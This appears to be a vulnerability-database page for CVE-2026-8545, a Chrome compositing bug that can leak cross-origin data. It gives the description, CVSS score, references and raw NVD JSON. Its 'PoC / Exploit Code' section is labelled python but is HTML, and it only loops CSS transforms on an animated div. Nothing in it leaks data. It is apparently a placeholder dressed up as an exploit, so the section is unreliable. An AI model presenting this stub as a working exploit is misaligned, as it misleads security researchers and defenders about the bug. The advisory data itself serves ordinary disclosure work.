CVE-2026-8545

Description

Object corruption in Compositing in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to leak cross-origin data via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

3.1

Severity

LOW

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Google Chrome < 148.0.7778.168

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-8545 -->
<!-- This PoC attempts to trigger object corruption in Compositing -->
<!DOCTYPE html>
<html>
<head>
<style>
    /* CSS to stress the compositing layer */
    .target {
        transform: translateZ(0);
        will-change: transform;
        animation: spin 1s infinite linear;
    }
    @keyframes spin {
        0% { transform: rotate(0deg); }
        100% { transform: rotate(360deg); }
    }
</style>
</head>
<body>
    <div id="target" class="target">Exploit Target</div>
    <script>
        // Attempt to trigger corruption in the renderer process
        // Requires renderer process compromise to exploit data leak
        const target = document.getElementById('target');
        try {
            // Manipulate compositing properties to trigger the bug
            for(let i=0; i<10000; i++) {
                target.style.transform = `rotate(${i}deg) scale(${1 + i/10000})`;
            }
            console.log("Triggered compositing stress test.");
        } catch (e) {
            console.error("Error during exploit attempt:", e);
        }
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8545
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8545
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8545/
[4] VulDB https://vuldb.com/cve/CVE-2026-8545
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
[6] https://issues.chromium.org/issues/497486030

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-8545", "sourceIdentifier": "[email protected]", "published": "2026-05-14T20:17:15.377", "lastModified": "2026-05-15T15:16:54.973", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Object corruption in Compositing in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to leak cross-origin data via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N", "baseScore": 3.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-284"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/497486030", "source": "[email protected]"}]}}